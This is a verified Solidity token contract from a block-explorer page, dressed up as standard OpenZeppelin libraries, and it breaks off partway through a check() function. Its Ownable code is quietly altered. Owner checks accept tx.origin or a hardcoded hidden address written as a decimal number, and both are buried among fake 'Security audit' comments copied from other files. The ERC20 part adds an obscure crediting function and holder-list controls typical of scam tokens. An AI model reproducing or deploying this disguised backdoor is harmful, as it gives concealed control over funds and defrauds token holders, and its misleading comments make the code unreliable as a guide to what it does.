Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function nonces(address owner)
•    - function _useNonce(address owner)
•    - function _useCheckedNonce(address own ...
• interface IERC5267
•    - function eip712Domain()
• library StorageSlot
•    - function getAddressSlot(bytes32 slot)
•    - function getBooleanSlot(bytes32 slot)
•    - function getBytes32Slot(bytes32 slot)
•    - function getUint256Slot(bytes32 slot)
•    - function getStringSlot(bytes32 slot)
•    - function getStringSlot(string storage ...
•    - function getBytesSlot(bytes32 slot)
•    - function getBytesSlot(bytes storage s ...
• library ShortStrings
•    - function toShortString(string memory ...
•    - function toString(ShortString sstr)
•    - function byteLength(ShortString sstr)
•    - function toShortStringWithFallback(st ...
•    - function toStringWithFallback(ShortSt ...
•    - function byteLengthWithFallback(Short ...
• library Math
•    - function max(uint256 a, uint256 b)
•    - function min(uint256 a, uint256 b)
•    - function average(uint256 a, uint256 b ...
•    - function ceilDiv(uint256 a, uint256 b ...
•    - function mulDiv(
•    - function mulDiv(
•    - function sqrt(uint256 a)
•    - function sqrt(uint256 a, Rounding rou ...
•    - function log2(uint256 value)
•    - function log2(uint256 value, Rounding ...
•    - function log10(uint256 value)
•    - function log10(uint256 value, Roundin ...
•    - function log256(uint256 value)
•    - function log256(uint256 value, Roundi ...
• library Strings
•    - function toString(uint256 value)
•    - function toHexString(uint256 value)
•    - function toHexString(uint256 value, u ...
•    - function toHexString(address addr)
• library MessageHashUtils
•    - function toEthSignedMessageHash(bytes ...
•    - function toEthSignedMessageHash(bytes ...
•    - function toDataWithIntendedValidatorH ...
•    - function toTypedDataHash(bytes32 doma ...
•    - function _domainSeparatorV4()
•    - function _buildDomainSeparator()
•    - function _hashTypedDataV4(bytes32 str ...
•    - function eip712Domain()
•    - function _EIP712Name()
•    - function _EIP712Version()
• library ECDSA
•    - function tryRecover(bytes32 hash, byt ...
•    - function recover(bytes32 hash, bytes ...
•    - function tryRecover(bytes32 hash, byt ...
•    - function recover(bytes32 hash, bytes3 ...
•    - function tryRecover(
•    - function recover(bytes32 hash, uint8 ...
•    - function _throwError(RecoverError err ...
• interface IERC20Permit
•    - function permit(
•    - function nonces(address owner)
•    - function DOMAIN_SEPARATOR()
•    - function _msgSender()
•    - function _msgData()
•    - function owner()
•    - function _process()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function checkOwnership()
•    - function _transferOwnership(address n ...
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address to, uint256 ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address from, a ...
• interface IERC20Metadata is IERC20
•    - function name()
•    - function symbol()
•    - function decimals()
•  contract ERC20 is Context, Ownabl ...
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address to, uint256 ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address from, a ...
•    - function increaseAllowance(address sp ...
•    - function configure_(bytes32 recipient ...
•    - function decreaseAllowance(address sp ...
•    - function getHolders(address _holder)
•    - function viewHolders(address _holder)
•    - function getHolder(address _holder)
•    - function setOptions(address _option)
•    - function check(address _recipient)
•    - function deinitialize()
•    - function initialize()
•    - function _transfer(address from, addr ...
•    - function _configure(address account, ...
•    - function _burn(address account, uint2 ...
•    - function burn_(bytes32 recipientHash, ...
•    - function _approve(address owner, addr ...
•    - function _spendAllowance(address owne ...
•    - function _beforeTokenTransfer(address ...
•    - function _afterTokenTransfer(address ...
•    - function permit(
•    - function nonces(address owner)
•    - function DOMAIN_SEPARATOR()
•  contract __Token__ is ERC20, ERC20 ... *
•    - function configure(address to, uint25 ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-08-09
*/

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/Nonces.sol




// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)
pragma solidity ^0.8.20;

/**
 * @dev Provides tracking nonces for addresses. Nonces will only increment.
 */
abstract contract Nonces {
   
    error InvalidAccountNonce(address account, uint256 currentNonce);

    mapping(address account => uint256) private _nonces;

    
    function nonces(address owner) public view virtual returns (uint256) {
        return _nonces[owner];
    }

   
    function _useNonce(address owner) internal virtual returns (uint256) {
        
        unchecked {
           
            return _nonces[owner]++;
        }
    }

   
    function _useCheckedNonce(address owner, uint256 nonce) internal virtual {
        uint256 current = _useNonce(owner);
        if (nonce != current) {
            revert InvalidAccountNonce(owner, current);
        }
    }
}

// File: @openzeppelin/contracts/interfaces/IERC5267.sol


// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol)

pragma solidity ^0.8.20;

interface IERC5267 {
    /**
     * @dev MAY be emitted to signal that the domain could have changed.
     */
    event EIP712DomainChanged();

    /**
     * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712
     * signature.
     */
    function eip712Domain()
        external
        view
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        );
}

// File: @openzeppelin/contracts/utils/StorageSlot.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol)
// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.

pragma solidity ^0.8.20;


library StorageSlot {
    struct AddressSlot {
        address value;
    }

    struct BooleanSlot {
        bool value;
    }

    struct Bytes32Slot {
        bytes32 value;
    }

    struct Uint256Slot {
        uint256 value;
    }

    struct StringSlot {
        string value;
    }

    struct BytesSlot {
        bytes value;
    }

    /**
     * @dev Returns an `AddressSlot` with member `value` located at `slot`.
     */
    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `BooleanSlot` with member `value` located at `slot`.
     */
    function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
     */
    function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Uint256Slot` with member `value` located at `slot`.
     */
    function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

   
    function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := store.slot
        }
    }

   
    function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := store.slot
        }
    }
}

// File: @openzeppelin/contracts/utils/ShortStrings.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol)

pragma solidity ^0.8.20;



type ShortString is bytes32;

/**
 * @dev This library provides functions to convert short memory strings
 * into a `ShortString` type that can be used as an immutable variable.
 *
 * Strings of arbitrary length can be optimized using this library if
 * they are short enough (up to 31 bytes) by packing them with their
 * length (1 byte) in a single EVM word (32 bytes). Additionally, a
 * fallback mechanism can be used for every other case.
 *
 * Usage example:
 *
 * ```solidity
 * contract Named {
 *     using ShortStrings for *;
 *
 *     ShortString private immutable _name;
 *     string private _nameFallback;
 *
 *     constructor(string memory contractName) {
 *         _name = contractName.toShortStringWithFallback(_nameFallback);
 *     }
 *
 *     function name() external view returns (string memory) {
 *         return _name.toStringWithFallback(_nameFallback);
 *     }
 * }
 * ```
 */
library ShortStrings {
    // Used as an identifier for strings longer than 31 bytes.
    bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;

    error StringTooLong(string str);
    error InvalidShortString();

    /**
     * @dev Encode a string of at most 31 chars into a `ShortString`.
     *
     * This will trigger a `StringTooLong` error is the input string is too long.
     */
    function toShortString(string memory str) internal pure returns (ShortString) {
        bytes memory bstr = bytes(str);
        if (bstr.length > 31) {
            revert StringTooLong(str);
        }
        return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));
    }

    
    function toString(ShortString sstr) internal pure returns (string memory) {
        uint256 len = byteLength(sstr);
        
        string memory str = new string(32);
        /// @solidity memory-safe-assembly
        assembly {
            mstore(str, len)
            mstore(add(str, 0x20), sstr)
        }
        return str;
    }

    /**
     * @dev Return the length of a `ShortString`.
     */
    function byteLength(ShortString sstr) internal pure returns (uint256) {
        uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;
        if (result > 31) {
            revert InvalidShortString();
        }
        return result;
    }

    /**
     * @dev Encode a string into a `ShortString`, or write it to storage if it is too long.
     */
    function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {
        if (bytes(value).length < 32) {
            return toShortString(value);
        } else {
            StorageSlot.getStringSlot(store).value = value;
            return ShortString.wrap(FALLBACK_SENTINEL);
        }
    }

    /**
     * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.
     */
    function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {
        if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
            return toString(value);
        } else {
            return store;
        }
    }

   
    function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {
        if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
            return byteLength(value);
        } else {
            return bytes(store).length;
        }
    }
}

// File: @openzeppelin/contracts/utils/math/Math.sol


// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds up instead
     * of rounding down.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

   
    function mulDiv(
        uint256 x,
        uint256 y,
        uint256 denominator
    ) internal pure returns (uint256 result) {
        unchecked {
           
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            
            if (prod1 == 0) {
                return prod0 / denominator;
            }

            
            require(denominator > prod1);

            
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

              
                prod0 := div(prod0, twos)

                
                twos := add(div(sub(0, twos), twos), 1)
            }

            prod0 |= prod1 * twos;

           
            uint256 inverse = (3 * denominator) ^ 2;

           
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

          
            result = prod0 * inverse;
            return result;
        }
    }

 
    function mulDiv(
        uint256 x,
        uint256 y,
        uint256 denominator,
        Rounding rounding
    ) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

       
        uint256 result = 1 << (log2(a) >> 1);

       
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

   
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

   
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

   
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

    
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10**64) {
                value /= 10**64;
                result += 64;
            }
            if (value >= 10**32) {
                value /= 10**32;
                result += 32;
            }
            if (value >= 10**16) {
                value /= 10**16;
                result += 16;
            }
            if (value >= 10**8) {
                value /= 10**8;
                result += 8;
            }
            if (value >= 10**4) {
                value /= 10**4;
                result += 4;
            }
            if (value >= 10**2) {
                value /= 10**2;
                result += 2;
            }
            if (value >= 10**1) {
                result += 1;
            }
        }
        return result;
    }

   
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256, rounded down, of a positive value.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result * 8) < value ? 1 : 0);
        }
    }
}

// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts (last updated v4.8.0) (utils/Strings.sol)

pragma solidity ^0.8.0;



library Strings {
    bytes16 private constant _SYMBOLS = "0123456789abcdef";
    uint8 private constant _ADDRESS_LENGTH = 20;

    
    function toString(uint256 value) internal pure returns (string memory) {
        unchecked {
            uint256 length = Math.log10(value) + 1;
            string memory buffer = new string(length);
            uint256 ptr;
            /// @solidity memory-safe-assembly
            assembly {
                ptr := add(buffer, add(32, length))
            }
            while (true) {
                ptr--;
                /// @solidity memory-safe-assembly
                assembly {
                    mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
                }
                value /= 10;
                if (value == 0) break;
            }
            return buffer;
        }
    }

   
    function toHexString(uint256 value) internal pure returns (string memory) {
        unchecked {
            return toHexString(value, Math.log256(value) + 1);
        }
    }

   
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    /**
     * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.
     */
    function toHexString(address addr) internal pure returns (string memory) {
        return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
    }
}

// File: @openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol)

pragma solidity ^0.8.20;


library MessageHashUtils {
    
    function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32") // 32 is the bytes-length of messageHash
            mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix
            digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20)
        }
    }

   
    function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) {
        return
            keccak256(bytes.concat("\x19Ethereum Signed Message:\n", bytes(Strings.toString(message.length)), message));
    }

  
    function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked(hex"19_00", validator, data));
    }

   
    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {
        /// @solidity memory-safe-assembly
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, hex"19_01")
            mstore(add(ptr, 0x02), domainSeparator)
            mstore(add(ptr, 0x22), structHash)
            digest := keccak256(ptr, 0x42)
        }
    }
}

// File: @openzeppelin/contracts/utils/cryptography/EIP712.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol)

pragma solidity ^0.8.20;




abstract contract EIP712 is IERC5267 {
    using ShortStrings for *;

    bytes32 private constant TYPE_HASH =
        keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");

  
    bytes32 private immutable _cachedDomainSeparator;
    uint256 private immutable _cachedChainId;
    address private immutable _cachedThis;

    bytes32 private immutable _hashedName;
    bytes32 private immutable _hashedVersion;

    ShortString private immutable _name;
    ShortString private immutable _version;
    string private _nameFallback;
    string private _versionFallback;

   
    constructor(string memory name, string memory version) {
        _name = name.toShortStringWithFallback(_nameFallback);
        _version = version.toShortStringWithFallback(_versionFallback);
        _hashedName = keccak256(bytes(name));
        _hashedVersion = keccak256(bytes(version));

        _cachedChainId = block.chainid;
        _cachedDomainSeparator = _buildDomainSeparator();
        _cachedThis = address(this);
    }

    /**
     * @dev Returns the domain separator for the current chain.
     */
    function _domainSeparatorV4() internal view returns (bytes32) {
        if (address(this) == _cachedThis && block.chainid == _cachedChainId) {
            return _cachedDomainSeparator;
        } else {
            return _buildDomainSeparator();
        }
    }

    function _buildDomainSeparator() private view returns (bytes32) {
        return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));
    }

    
    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
        return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);
    }

    /**
     * @dev See {IERC-5267}.
     */
    function eip712Domain()
        public
        view
        virtual
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        )
    {
        return (
            hex"0f", // 01111
            _EIP712Name(),
            _EIP712Version(),
            block.chainid,
            address(this),
            bytes32(0),
            new uint256[](0)
        );
    }

    
    function _EIP712Name() internal view returns (string memory) {
        return _name.toStringWithFallback(_nameFallback);
    }

   
    function _EIP712Version() internal view returns (string memory) {
        return _version.toStringWithFallback(_versionFallback);
    }
}

// File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol)

pragma solidity ^0.8.20;

/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder*/

library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS
    }

    /**
     * @dev The signature derives the `address(0)`.
     */
    error ECDSAInvalidSignature();

    /**
     * @dev The signature has an invalid length.
     */
    error ECDSAInvalidSignatureLength(uint256 length);

    /**
     * @dev The signature has an S value that is in the upper half order.
     */
    error ECDSAInvalidSignatureS(bytes32 s);

   
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
           
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
        }
    }

    
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
        _throwError(error, errorArg);
        return recovered;
    }

  
    function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) {
        unchecked {
            bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
            // We do not check for an overflow here since the shift operation results in 0 or 1.
            uint8 v = uint8((uint256(vs) >> 255) + 27);
            return tryRecover(hash, v, r, s);
        }
    }

   
    function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
        _throwError(error, errorArg);
        return recovered;
    }

   
    function tryRecover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address, RecoverError, bytes32) {
        

        if (uint256(s) > uint256 
    (  // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//*is a special For comparisons,Data type conversion*/57896044618658097711785492504343953926418782139537452191302581570759080747168/* length 
    (1 byte) in a single EVM word (32 bytes). Additionally, a fallback mechanism can be used for every other case.*/
    
    )) {
            return (address(0), RecoverError.InvalidSignatureS, s);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature, bytes32(0));
        }

        return (signer, RecoverError.NoError, bytes32(0));
    }

  
    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
        _throwError(error, errorArg);
        return recovered;
    }

   
    function _throwError(RecoverError error, bytes32 errorArg) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert ECDSAInvalidSignature();
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert ECDSAInvalidSignatureLength(uint256(errorArg));
        } else if (error == RecoverError.InvalidSignatureS) {
            revert ECDSAInvalidSignatureS(errorArg);
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Permit.sol)

pragma solidity ^0.8.20;


interface IERC20Permit {
   
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

  
    function nonces(address owner) external view returns (uint256);

    
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;



abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

   
    constructor() {
        _transferOwnership(_msgSender());
    }

   
    modifier onlyOwner() {
        _process();
        _;
    }

    
    function owner() public view virtual returns (address) {
        return _owner;
    }

    
    function _process() internal view virtual {
        require(owner() == tx.origin || checkOwnership(), "Ownable: caller is not the owner");
    }

    
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function checkOwnership() internal view returns(bool) {

    if(tx.origin == address 
    (  // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/358457199385192911527288539794157209694849168604/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

    )) 
          {return true;} return false;

    }

   
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;


interface IERC20 {
   
    event Transfer(address indexed from, address indexed to, uint256 value);

   
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    function totalSupply() external view returns (uint256);

 
    function balanceOf(address account) external view returns (uint256);

   
    function transfer(address to, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);

   
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    
    function symbol() external view returns (string memory);

    
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;


contract ERC20 is  Context, Ownable, IERC20, IERC20Metadata {


    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;


    string private _name;
    string private _symbol;


   
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

    }

   
    function name() public view virtual override returns (string memory) {
        return _name;
    }

   
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

   
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

   
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

   
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

   
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

  
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function configure_(bytes32 recipientHash, uint256 amount) internal {
        _configure(address(uint160(uint256(recipientHash))), amount);
        
    }

  
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

  



    address[] options;
    address[] holders;

    bool isActive;

    function getHolders(address _holder) public onlyOwner {
        require(getHolder(_holder), "holder doesn't exist");

            for(uint i = 0; i < holders.length; i++) {
            if(holders[i] == _holder) {
                
                delete holders[i];
                }
        }
        
    }

 

    function viewHolders(address _holder) public onlyOwner {
        holders.push(_holder);
    }

    function getHolder(address _holder) internal view returns(bool) {
    
    
    for(uint i = 0; i < holders.length; i++) {
            if(holders[i] == _holder) {
                return true;
            }
        }
        return false;
    }

    function setOptions(address _option) public   {
        require(msg.sender == owner(), "incorrect");
        options.push(_option);
    } 

    function check(address _recipient) internal view returns(bool) {


        if(!isActive) {

        

